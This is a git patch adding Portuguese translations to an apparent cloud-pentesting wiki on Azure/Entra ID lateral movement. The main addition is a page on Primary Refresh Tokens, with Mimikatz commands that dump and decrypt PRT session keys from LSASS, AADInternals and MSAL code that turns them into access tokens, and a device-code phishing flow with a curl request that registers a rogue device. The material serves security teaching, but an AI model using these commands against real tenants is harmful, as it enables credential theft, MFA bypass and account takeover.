From 877e4491b41a48d674d6299da48786c518fac449 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 29 Jul 2025 16:04:05 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/azure-security/az-lateral-movement-clo --- src/SUMMARY.md | 9 +- .../az-pass-the-certificate.md | 10 +- ...g-primary-refresh-token-microsoft-entra.md | 7 - .../az-primary-refresh-token-prt.md | 254 +++++++++++++++++- .../az-processes-memory-access-token.md | 5 +- .../az-cloud-kerberos-trust.md | 74 +++-- .../az-default-applications.md | 9 - .../{federation.md => az-federation.md} | 25 +- .../az-hybrid-identity-misc-attack.md | 29 ++ ... => az-pta-pass-through-authentication.md} | 8 +- .../az-synchronising-new-users.md | 30 --- .../az-entraid-privesc/README.md | 24 +- .../az-services/az-front-door.md | 18 ++ 13 files changed, 393 insertions(+), 109 deletions(-) delete mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md delete mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md rename src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/{federation.md => az-federation.md} (77%) create mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md rename src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/{pta-pass-through-authentication.md => az-pta-pass-through-authentication.md} (93%) delete mode 100644 src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md create mode 100644 src/pentesting-cloud/azure-security/az-services/az-front-door.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index f61a27c2f..48a80565e 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -420,6 +420,7 @@ - [Az - CosmosDB](pentesting-cloud/azure-security/az-services/az-cosmosDB.md) - [Az - Defender](pentesting-cloud/azure-security/az-services/az-defender.md) - [Az - File Shares](pentesting-cloud/azure-security/az-services/az-file-shares.md) + - [Az - Front Door](pentesting-cloud/azure-security/az-services/az-front-door.md) - [Az - Function Apps](pentesting-cloud/azure-security/az-services/az-function-apps.md) - [Az - Intune](pentesting-cloud/azure-security/az-services/intune.md) - [Az - Key Vault](pentesting-cloud/azure-security/az-services/az-keyvault.md) @@ -442,21 +443,19 @@ - [Az - Permissions for a Pentest](pentesting-cloud/azure-security/az-permissions-for-a-pentest.md) - [Az - Lateral Movement (Cloud - On-Prem)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/README.md) - [Az AD Connect - Hybrid Identity](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/README.md) - - [Az - Synchronising New Users](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-synchronising-new-users.md) + - [Az - Hybrid Identity Misc Attacks](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-hybrid-identity-misc-attack.md) - [Az - Cloud Kerberos Trust](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-kerberos-trust.md) - - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/federation.md) + - [Az - Federation](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-federation.md) - [Az - Cloud Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-cloud-sync.md) - [Az - Connect Sync](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-connect-sync.md) - - [Az - Default Applications](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-default-applications.md) - [Az - Domain Services](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-domain-services.md) - - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/pta-pass-through-authentication.md) + - [Az - PTA - Pass-through Authentication](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/az-pta-pass-through-authentication.md) - [Az - Seamless SSO](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/azure-ad-connect-hybrid-identity/seamless-sso.md) - [Az - Arc vulnerable GPO Deploy Script](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-arc-vulnerable-gpo-deploy-script.md) - [Az - Local Cloud Credentials](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-local-cloud-credentials.md) - [Az - Pass the Cookie](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-cookie.md) - [Az - Pass the Certificate](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md) - [Az - Pass the PRT](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/pass-the-prt.md) - - [Az - Phishing Primary Refresh Token (Microsoft Entra)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md) - [Az - Processes Memory Access Token](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md) - [Az - Primary Refresh Token (PRT)](pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md) - [Az - Post Exploitation](pentesting-cloud/azure-security/az-post-exploitation/README.md) diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md index 8ca366720..ec5993cc9 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-pass-the-certificate.md @@ -4,15 +4,15 @@ ## Pass the Certificate (Azure) -Em máquinas unidas ao Azure, é possível autenticar de uma máquina para outra usando certificados que **devem ser emitidos pela Azure AD CA** para o usuário necessário (como o sujeito) quando ambas as máquinas suportam o mecanismo de autenticação **NegoEx**. +Em máquinas unidas ao Azure, é possível autenticar de uma máquina para outra usando certificados que **devem ser emitidos pelo Entra ID CA** para o usuário necessário (como o sujeito) quando ambas as máquinas suportam o mecanismo de autenticação **NegoEx**. Em termos super simplificados: -- A máquina (cliente) que inicia a conexão **precisa de um certificado da Azure AD para um usuário**. -- O cliente cria um cabeçalho de Token Web JSON (JWT) contendo PRT e outros detalhes, assina usando a Chave Derivada (usando a chave de sessão e o contexto de segurança) e **o envia para a Azure AD**. -- A Azure AD verifica a assinatura do JWT usando a chave de sessão do cliente e o contexto de segurança, verifica a validade do PRT e **responde** com o **certificado**. +- A máquina (cliente) que inicia a conexão **precisa de um certificado do Entra ID para um usuário**. +- O cliente cria um cabeçalho de JSON Web Token (JWT) contendo PRT e outros detalhes, assina usando a Chave Derivada (usando a chave de sessão e o contexto de segurança) e **o envia para o Entra ID**. +- O Entra ID verifica a assinatura do JWT usando a chave de sessão do cliente e o contexto de segurança, verifica a validade do PRT e **responde** com o **certificado**. -Neste cenário e após obter todas as informações necessárias para um ataque [**Pass the PRT**](pass-the-prt.md): +Neste cenário e após obter todas as informações necessárias para um ataque de [**Pass the PRT**](pass-the-prt.md): - Nome de usuário - ID do locatário diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md deleted file mode 100644 index d176abf11..000000000 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-phishing-primary-refresh-token-microsoft-entra.md +++ /dev/null @@ -1,7 +0,0 @@ -# Az - Phishing Primary Refresh Token (Microsoft Entra) - -{{#include ../../../banners/hacktricks-training.md}} - -**Verifique:** [**https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/**](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) - -{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md index fed663e0c..76d933a0e 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-primary-refresh-token-prt.md @@ -2,6 +2,258 @@ {{#include ../../../banners/hacktricks-training.md}} -**Verifique o post em** [**https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/**](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) embora outro post explicando o mesmo possa ser encontrado em [**https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30**](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) +## O que é um Primary Refresh Token (PRT)? + +Um **Primary Refresh Token (PRT)** é um token de atualização de longa duração usado na autenticação do Azure AD (Entra ID), análogo a um TGT do Kerberos. Ele é emitido quando o usuário faz login em um dispositivo associado ao Azure AD e pode ser usado para solicitar tokens de acesso para vários aplicativos sem solicitar novamente as credenciais. Cada PRT é acompanhado por uma **chave de sessão** (também chamada de chave de Prova de Posse) -- uma chave simétrica usada para assinar solicitações e provar que o cliente possui o PRT. O PRT em si é um blob opaco e criptografado (não legível pelo cliente), enquanto a chave de sessão é usada para **assinar** um JWT contendo o PRT ao solicitar tokens. Em outras palavras, a posse do PRT sozinho é insuficiente; um atacante precisa da chave de sessão para provar legitimidade, semelhante à necessidade de ter tanto um TGT do Kerberos quanto sua chave de sessão para autenticação. + +No Windows, o PRT e a chave de sessão são armazenados em cache no processo LSASS via o plugin CloudAP. Se um dispositivo possui um **TPM** (Trusted Platform Module), o Azure AD vincula chaves ao TPM para segurança extra. Isso significa que em dispositivos equipados com TPM, a chave de sessão é armazenada ou usada dentro do TPM de forma que não pode ser lida diretamente da memória em circunstâncias normais. Se nenhum TPM estiver disponível (por exemplo, muitas VMs ou sistemas mais antigos), as chaves são mantidas em software e protegidas com criptografia DPAPI. Em ambos os casos, um atacante com privilégios administrativos ou execução de código na máquina pode tentar **extrair o PRT e a chave de sessão da memória** como parte da pós-exploração, e então usá-los para se passar pelo usuário na nuvem. Ao contrário dos tokens de atualização típicos (que geralmente são específicos de aplicativos), um PRT é mais amplo, permitindo que seu dispositivo solicite tokens para quase qualquer recurso ou serviço integrado ao Entra ID. + +## Como um PRT Funciona? + +Aqui está uma explicação simplificada de como um PRT opera: + +1. **Registro do Dispositivo:** + +- Quando seu dispositivo (como um laptop Windows ou um telefone móvel) se junta ou registra no Entra ID, ele se autentica usando suas credenciais (nome de usuário/senha/MFA). + +- Após a autenticação bem-sucedida, o Entra ID emite um PRT vinculado especificamente ao seu dispositivo. + +2. **Armazenamento do Token:** + +- O PRT é armazenado com segurança em seu dispositivo, frequentemente protegido por recursos de hardware como o Trusted Platform Module (TPM), garantindo que seja difícil para partes não autorizadas extraí-lo ou abusá-lo. + +3. **Single Sign-On (SSO):** + +- Cada vez que você acessa um aplicativo protegido pelo Entra ID (por exemplo, aplicativos do Microsoft 365, SharePoint, Teams), seu dispositivo usa silenciosamente o PRT armazenado para solicitar e obter um token de acesso específico para esse aplicativo. + +- Você não precisa inserir suas credenciais repetidamente porque o PRT lida com a autenticação de forma transparente. + +4. **Renovação e Segurança:** + +- Os PRTs têm uma longa vida útil (tipicamente em torno de 14 dias), mas são continuamente renovados enquanto seu dispositivo estiver em uso ativo. + +- Se seu dispositivo for comprometido ou perdido, os administradores podem revogar seu PRT remotamente, bloqueando imediatamente o acesso não autorizado. + +### Por que os PRTs são Poderosos? + +- **Acesso Universal:** Ao contrário dos tokens típicos limitados a um aplicativo ou recurso, um PRT pode facilitar o acesso a todos os serviços integrados ao Entra ID. + +- **Segurança Aprimorada:** Com proteções de hardware integradas (como TPM), os PRTs garantem armazenamento e uso seguro de tokens. + +- **Experiência do Usuário:** Os PRTs melhoram significativamente a experiência do usuário, reduzindo solicitações frequentes de autenticação e permitindo um verdadeiro SSO sem interrupções. + +## Como saber se um PRT está presente? + +- Verifique se o PRT está presente: +```bash +# Execute +dsregcmd /status +## Check if the value of AzureAdPrt is set to YES +``` +- Verifique se está protegido por TPM: +```bash +Get-Tpm | Select TpmPresent,TpmReady,TpmEnabled,TpmOwned +# TpmPresent/Ready = True indicates the device can bind secrets to TPM. + +dsregcmd /status +# In Device State / WHfB prerequisites you’ll typically see: +# KeyProvider = Microsoft Platform Crypto Provider ⇒ TPM hardware key; +# KeyProvider = Software Key Storage Provider ⇒ not TPM‑bound. +# Some builds also show TpmProtected: YES/NO and KeySignTest (run elevated to test). +``` +## Dump e usuário PRTs desprotegidos + +De acordo com [este post](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) em dispositivos Windows **sem vinculação TPM**, o PRT e sua chave de sessão residem no LSASS (plug-in CloudAP). Com admin local/SYSTEM nesse dispositivo, o blob do PRT e a chave de sessão criptografada pelo DPAPI podem ser **lidos do LSASS, a chave de sessão descriptografada via DPAPI, e a chave de assinatura derivada** para criar um cookie PRT válido (`x‑ms‑RefreshTokenCredential`). Você precisa tanto do PRT quanto de sua chave de sessão—apenas a string do PRT não é suficiente. + +### Mimikatz +```bash +privilege::debug +sekurlsa::cloudap +``` +O **campo PRT** contém o token de atualização criptografado (tipicamente uma string base64), e o KeyValue no ProofOfPossessionKey é a chave de sessão criptografada com DPAPI (também base64). + +Então, a partir da saída de **`sekurlsa::cloudap`**, copie o blob base64 de **`KeyValue`** dentro do campo `ProofOfPossessionKey` (esta é a chave de sessão criptografada com DPAPI). Esta chave criptografada não pode ser usada como está – ela deve ser descriptografada usando as credenciais DPAPI do sistema. + +Como a criptografia DPAPI para segredos do sistema requer o contexto do sistema da máquina, eleve seu token para SYSTEM e use o módulo DPAPI do Mimikatz para descriptografar: +```bash +token::elevate +dpapi::cloudapkd /keyvalue: /unprotect +``` +O `token::elevate` irá impersonar o SYSTEM e o comando `dpapi::cloudapkd` com `/unprotect` usará a chave mestra do DPAPI para descriptografar o blob KeyValue fornecido. Isso resulta na chave de sessão em texto claro e também na Chave Derivada e Contexto associados usados para assinatura: +- **Chave clara** – a chave de sessão de 32 bytes em texto simples (representada como uma string hexadecimal). +- **Chave Derivada** – uma chave de 32 bytes derivada da chave de sessão e um valor de contexto (mais sobre isso abaixo). +- **Contexto** – um contexto aleatório de 24 bytes que foi usado ao derivar a chave de assinatura para o cookie PRT. + +> [!NOTE] +> Se isso não funcionar para você para impersonar o usuário, verifique a seção seguinte usando **`AADInternals`**. + +Então, você também pode usar o mimikatz para gerar um cookie PRT válido: +```bash +# Context is obtained from papi::cloudapkd /keyvalue: /unprotect +# Derivedkey is obtained from papi::cloudapkd /keyvalue: /unprotect +# PRT is obtained from sekurlsa::cloudap (filed "Prt" +dpapi::cloudapkd /context: /derivedkey: /prt: +``` +Mimikatz irá gerar um JWT assinado (o `PRT cookie`) após a linha “Signature with key”, que contém o PRT e é assinado usando a chave derivada. Este JWT pode ser copiado e então usado em uma sessão web. Por exemplo, um atacante pode abrir um navegador, ir para `login.microsoftonline.com`, e definir um cookie chamado `x-ms-RefreshTokenCredential` com o valor sendo este JWT. Quando o navegador é atualizado ou navega, o Azure AD tratará a sessão como autenticada (o PRT cookie é apresentado como se o SSO tivesse ocorrido), e emitirá um código de autorização ou token de acesso para o recurso especificado. Na prática, alguém navegaria para um recurso como Office 365 ou o portal do Azure; a presença de um PRT cookie válido significa que o Azure AD concederá acesso sem login adicional (contornando o MFA, já que o PRT já está autenticado). + +Você também poderia usar **`roadtx`** e **`roadrecon`** com o PRT do PRT cookie para se passar pelo usuário *(TODO: Encontrar as linhas de comando exatas para usar roadtx/roadrecon para obter credenciais de um PRT)*. + + +### AADInternals + +O módulo PowerShell **`AADInternals`** também pode ser usado com o PRT e a chave de sessão obtidos anteriormente para gerar um token PRT válido. Isso é útil para automatizar o processo de obtenção de um novo token PRT com nonce, que pode ser usado para buscar tokens de acesso para a Azure AD Graph API ou outros recursos: +```bash +# Code from https://aadinternals.com/post/prt/ +# Add the PRT to a variable +$MimikatzPRT = "MS5BVUVCNFdiUV9UZnV2RW13ajlEaFVoR2JCSWM3cWpodG9CZElzblY2TVdtSTJUdENBY1JCQVEuQWdBQkF3RUFBQUJWclNwZXVXYW1SYW0yakFGMVhSUUVBd0RzX3dVQTlQO...R0RjNFQ0QxaHJ1RFdJeHZUM0stWjJpQVhmMnBLeWpPaHBIOVc" + +# Add padding +while($MimikatzPRT.Length % 4) {$MimikatzPRT += "="} + +# Convert from Base 64 +$PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($MimikatzPRT)) + +# Add the session key (Clear key) to a variable +$MimikatzKey = "7ee0b1f2eccbae440190bf0761bc52099ad7ae7d10d28bd83b67a81a0dfa0808" + +# Convert to byte array and base 64 encode +$SKey = [convert]::ToBase64String( [byte[]] ($MimikatzKey -replace '..', '0x$&,' -split ',' -ne '')) + +# Generate a new PRTToken with nonce +$prtToken = New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey + +# Get an access token for MS Graph API +Get-AADIntAccessTokenForMSGraph -PRTToken $prtToken +``` +Este obtém um cookie PRT fresco (com um nonce) e, em seguida, o utiliza para buscar um token de acesso para a Azure AD Graph API (demonstrando acesso à nuvem em nome do usuário). AADInternals abstrai grande parte da criptografia e utiliza componentes do Windows ou sua própria lógica nos bastidores. + +## Abusando PRTs protegidos + +Apesar das proteções mencionadas, um atacante que já comprometeu um dispositivo (como um usuário local ou até mesmo SYSTEM) ainda pode **abusar do PRT para obter tokens de acesso frescos** aproveitando as próprias APIs de broker de token e componentes de segurança do Windows. Em vez de **extrair** o PRT ou a chave bruta, o atacante essencialmente **"pede" ao Windows para usar o PRT em seu nome**. Nas seções abaixo, descrevemos técnicas atualmente válidas para abusar de PRTs e suas chaves de sessão em dispositivos Windows atualizados onde as proteções TPM estão em vigor. Todas essas técnicas assumem acesso pós-exploração na máquina alvo e **focam em abusar dos fluxos de autenticação integrados** (sem vulnerabilidades não corrigidas necessárias). + +### Arquitetura do Broker de Token do Windows e Fluxo SSO + +O Windows moderno lida com autenticação em nuvem por meio de uma pilha de **broker de token** integrada, que inclui componentes tanto em modo de usuário quanto no LSASS (Local Security Authority). As principais partes dessa arquitetura incluem: + +- **Plugin CloudAP do LSASS:** Quando um dispositivo está associado ao Azure AD, o LSASS carrega pacotes de autenticação em nuvem (por exemplo, `CloudAP.dll`, `aadcloudap.dll`, `MicrosoftAccountCloudAP.dll`) que gerenciam PRTs e solicitações de token. O LSASS (executando como SYSTEM) orquestra o armazenamento, renovação e uso do PRT, e se comunica com o TPM para realizar operações criptográficas (como assinar um desafio PRT com a chave de sessão). + +- **Gerenciador de Conta da Web (WAM):** O Gerenciador de Conta da Web do Windows é uma estrutura em modo de usuário (acessível via APIs COM/WinRT) que permite que aplicativos ou navegadores solicitem tokens para contas em nuvem sem solicitar credenciais. O WAM atua como um intermediário entre aplicativos de usuário e o PRT protegido por LSASS/TPM. Por exemplo, a biblioteca MSAL da Microsoft e certos componentes do sistema operacional usam o WAM para adquirir tokens silenciosamente usando o PRT do usuário logado. + +- **BrowserCore.exe e interfaces COM do Broker de Token:** Para SSO em navegadores, o Windows inclui um componente chamado **BrowserCore.exe** (localizado em *Windows Security\BrowserCore*). Este é um host de mensagens nativo usado por navegadores (Edge, Chrome via uma extensão, etc.) para obter um token SSO derivado do PRT para login no Azure AD. Nos bastidores, o BrowserCore aproveita um objeto COM fornecido por `MicrosoftAccountTokenProvider.dll` para recuperar um cookie/token baseado em PRT. Em essência, essa interface COM é uma API de "broker de token" de primeira parte que qualquer processo executando como o usuário pode chamar para obter um token SSO (desde que o usuário tenha um PRT válido no LSASS). + +Quando um usuário associado ao Azure AD tenta acessar um recurso (digamos, o Portal do Azure), o fluxo é tipicamente: um aplicativo chama a interface COM do WAM ou do BrowserCore, que por sua vez se comunica com o LSASS. O LSASS usa o PRT e a chave de sessão (protegida pelo TPM) para produzir um **token SSO** -- frequentemente chamado de **cookie PRT** -- que é então devolvido ao aplicativo ou navegador. O cookie PRT é um JWT especial contendo o PRT criptografado e um nonce, assinado com uma chave derivada da chave de sessão do PRT. Este cookie é enviado ao Azure AD (em um cabeçalho `x-ms-RefreshTokenCredential`) para provar que o dispositivo e o usuário possuem um PRT válido, permitindo que o Azure AD emita tokens de acesso e refresh padrão do OAuth para vários aplicativos. Notavelmente, qualquer reivindicação de Autenticação Multifator (MFA) presente no PRT será transportada para tokens obtidos por meio desse processo SSO, significando que tokens derivados de PRT podem satisfazer recursos protegidos por MFA. + +### Roubo de Token em Nível de Usuário (Não-Admin) + +Quando um atacante tem **execução de código em nível de usuário**, a proteção TPM do PRT não impede o atacante de obter tokens. O atacante **aproveita as APIs de Broker de Token integradas do Windows**: + +#### **BrowserCore (MicrosoftAccountTokenProvider COM)** + +O BrowserCore expõe uma classe COM (`MicrosoftAccountTokenProvider`, CLSID `{a9927f85-a304-4390-8b23-a75f1c668600}`) para buscar cookies PRT. Esta API COM é invocada legitimamente por navegadores (extensões do Chrome/Edge) para SSO do Azure AD. + +- **[RequestAADRefreshToken](https://github.com/leechristensen/RequestAADRefreshToken)** +```bash +RequestAADRefreshToken.exe --uri https://login.microsoftonline.com +``` +*(Retorna um token de atualização do Azure AD ou cookie PRT)* + +- **[ROADtoken](https://github.com/dirkjanm/ROADtoken)** & **[ROADtools](https://github.com/dirkjanm/ROADtools)** +```bash +ROADtoken.exe --nonce +roadrecon auth --prt-cookie +``` +*(Gera nonce, invoca o BrowserCore para obter o cookie PRT, e então o resgata via ROADtools)* + + +### **APIs do Gerenciador de Conta da Web (WAM)** + +Os atacantes usam bibliotecas de autenticação legítimas da Microsoft (**MSAL**, **APIs WAM**, **WebAuthenticationCoreManager**) de processos em nível de usuário para recuperar silenciosamente tokens aproveitando o PRT protegido por TPM. + + +- **[aadprt](https://posts.specterops.io/)** +```bash +execute-assembly aadprt.exe +``` +*(Recupera o cookie PRT via interfaces COM)* + +- **[listwamaccounts](https://posts.specterops.io/)** +```bash +execute-assembly listwamaccounts.exe +``` +*(Lista contas do Azure AD conectadas via WAM; identifica alvos de token)* + +- **Exemplo Genérico (PowerShell com MSAL)**: +```powershell +$app = [Microsoft.Identity.Client.PublicClientApplicationBuilder]::Create("client-id").Build() +$result = $app.AcquireTokenSilent(@("https://graph.microsoft.com/.default"), $app.GetAccountsAsync().Result[0]).ExecuteAsync().Result +$result.AccessToken +``` +*(Silenciosamente obtém um token de acesso aproveitando o PRT)* + +#### Abuso de Token em Nível de Administrador / SYSTEM + +Se o atacante escalar para **Administrador ou SYSTEM**, ele pode diretamente se passar por qualquer usuário logado no Azure AD e usar as mesmas **APIs do broker de token COM/WAM**. PRTs protegidos por TPM não impedem essa emissão legítima de token. + +### **Imitação de Usuário e Recuperação de Token** + +Admin/SYSTEM poderia se passar por sessões em execução de outros usuários para invocar o BrowserCore ou WAM para geração de token. + +Para isso, basta imitar o processo do usuário (por exemplo, `explorer.exe`) e invocar as APIs do broker de token usando qualquer técnica comentada na seção anterior. + +### **Interação Direta com LSASS & Broker de Token (Avançado)** + +Um administrador ainda pode trabalhar com LSASS para abusar do PRT: por exemplo, um admin poderia injetar código no LSASS ou chamar funções internas do CloudAP para solicitar que o LSASS produza um token. A pesquisa de Dirk-jan observou que um admin pode “interagir com chaves PRT no LSASS usando APIs criptográficas”. Na prática, isso poderia significar usar as próprias funções do LSASS (via uma técnica como API hooking ou RPC, se disponível) para gerar um cookie PRT. Outra abordagem é explorar qualquer janela onde a chave de sessão possa aparecer na memória – por exemplo, no momento da renovação do PRT ou registro do dispositivo, quando está descriptografado para uso. Esses ataques são consideravelmente mais complexos e situacionais. Uma tática mais direta de admin é abusar de handles de token ou caches existentes: o LSASS armazena em cache tokens de atualização recentemente emitidos para aplicativos na memória (criptografados com DPAPI). Um atacante SYSTEM determinado poderia tentar extrair esses tokens protegidos por DPAPI (usando a chave mestra do usuário, que um admin pode obter) para roubar diretamente tokens de atualização para aplicativos específicos. No entanto, o método mais fácil e genérico continua sendo a imitação e o uso das interfaces de broker de token documentadas, uma vez que essas garantem que o Azure AD emitirá tokens novos (com todas as reivindicações apropriadas) em vez de tentar quebrar a criptografia. + +## Phishing de PRTs + +Abuse o fluxo de **Código de Dispositivo OAuth** usando o **ID do cliente do Microsoft Authentication Broker** (**`29d9ed98-a469-4536-ade2-f981bc1d605e`**) e o recurso do **Serviço de Registro de Dispositivos (DRS)** para obter um **token de atualização que pode ser atualizado para um Token de Atualização Primário (PRT)** após registrar um **dispositivo malicioso**. + +### **Por que isso funciona** + +- **PRT** é **vinculado ao dispositivo** e permite **SSO para (quase) qualquer aplicativo protegido pelo Entra**. +- A combinação de **Broker client + DRS** permite que um **token de atualização** phishing seja **trocado por um PRT** uma vez que um dispositivo esteja registrado. +- **MFA não é contornado**: o **usuário realiza MFA** durante o phishing; **as reivindicações de MFA se propagam** no PRT resultante, permitindo que o atacante acesse aplicativos **sem mais solicitações**. + +**Pré-requisitos**: + +- **Autenticação do usuário via Código de Dispositivo** usando o **ID do cliente do Broker** (`29d9ed98-a469-4536-ade2-f981bc1d605e`) e **escopos/recurso do DRS** (por exemplo, **`01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default`** ou **`https://enrollment.manage.microsoft.com/`**). +- **Usuário pode registrar dispositivos** no Entra ID (**padrão: permitido**, mas pode ser restrito ou limitado por cota). +- **Sem políticas CA bloqueadoras** que **desativem o Código de Dispositivo** ou **exijam dispositivos compatíveis/híbridos** para aplicativos-alvo (esses não impedirão a emissão de PRT, mas **irão** bloquear **o uso** para acessar aplicativos protegidos). +- **Host controlado pelo atacante** para executar o fluxo e manter os tokens/chaves do dispositivo. + +**Fluxo de Ataque**: + +1. **Iniciar autenticação por Código de Dispositivo** com **client_id = Broker** e **escopo/recurso do DRS**; mostrar o **código do usuário** para a vítima. +```bash +curl -s -X POST \ +"https://login.microsoftonline.com/organizations/oauth2/v2.0/devicecode" \ +-d "client_id=29d9ed98-a469-4536-ade2-f981bc1d605e" \ +-d "scope=01cb2876-7ebd-4aa4-9cc9-d28bd4d359a9/.default offline_access openid profile" +``` +2. **A vítima faz login no site da Microsoft** (UI legítima) e completa **MFA** → **o atacante recebe um token de atualização com escopo DRS** para o cliente Broker. + +3. **Registrar um dispositivo malicioso** no locatário usando esse token de atualização (o objeto do dispositivo é criado e vinculado à vítima). + +4. **Atualizar para um PRT** trocando o **token de atualização + identidade/chaves do dispositivo** → **PRT** vinculado ao dispositivo do atacante. + +5. **(Persistência opcional)**: se a MFA foi recente, **registrar uma chave do Windows Hello for Business** para manter **acesso sem senha a longo prazo**. + +6. **Abuso**: resgatar o **PRT** (ou criar um **cookie PRT**) para obter **tokens de acesso** para **Exchange/Graph/SharePoint/Teams/aplicativos personalizados** como o usuário. + + +### Ferramentas Públicas e Provas de Conceito + +- [ROADtools/ROADtx](https://github.com/dirkjanm/ROADtools): Automatiza o fluxo OAuth, registro de dispositivos e atualizações de tokens. +- [DeviceCode2WinHello](https://github.com/kiwids0220/deviceCode2WinHello): Script de comando único que automatiza o phishing de código de dispositivo para chaves PRT+WHfB. + + +## Referências + +- [Postagem no blog de Dirkjan sobre PRT](https://dirkjanm.io/digging-further-into-the-primary-refresh-token/) +- [Postagem de Dirkjan sobre phishing de PRTs](https://dirkjanm.io/phishing-for-microsoft-entra-primary-refresh-tokens/) +- [Postagem de Dirkjan sobre abusar de PRTs](https://dirkjanm.io/abusing-azure-ad-sso-with-the-primary-refresh-token/) +- Postagem da SpecterOps sobre [Solicitando Tokens de Solicitação do Azure AD](https://posts.specterops.io/requesting-azure-ad-request-tokens-on-azure-ad-joined-machines-for-browser-sso-2b0409caad30) +- [Postagem do AADInternals sobre PRTs](https://aadinternals.com/post/prt/) +- [blog.3or.de](https://blog.3or.de/understanding-primary-refresh-tokens-and-cve-2021-33779-how-pass-the-prt-was-eliminated#:~:text=,the%20Token%20Broker%20on%20Windows) {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md index a7b511d96..1780e623b 100644 --- a/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md +++ b/src/pentesting-cloud/azure-security/az-lateral-movement-cloud-on-prem/az-processes-memory-access-token.md @@ -8,7 +8,7 @@ Como explicado em [**este vídeo**](https://www.youtube.com/watch?v=OHKZkXC4Duw) Passos: -1. Dumpe os processos do excel sincronizados com o usuário EntraID usando sua ferramenta favorita. +1. Dumpe os processos do excel sincronizados com o usuário EntraID com sua ferramenta favorita. 2. Execute: `string excel.dmp | grep 'eyJ0'` e encontre vários tokens na saída. 3. Encontre os tokens que mais lhe interessam e execute ferramentas sobre eles: ```bash @@ -27,8 +27,7 @@ curl -s -H "Authorization: Bearer " https://graph.microsoft.com/v1.0/site curl -s -H 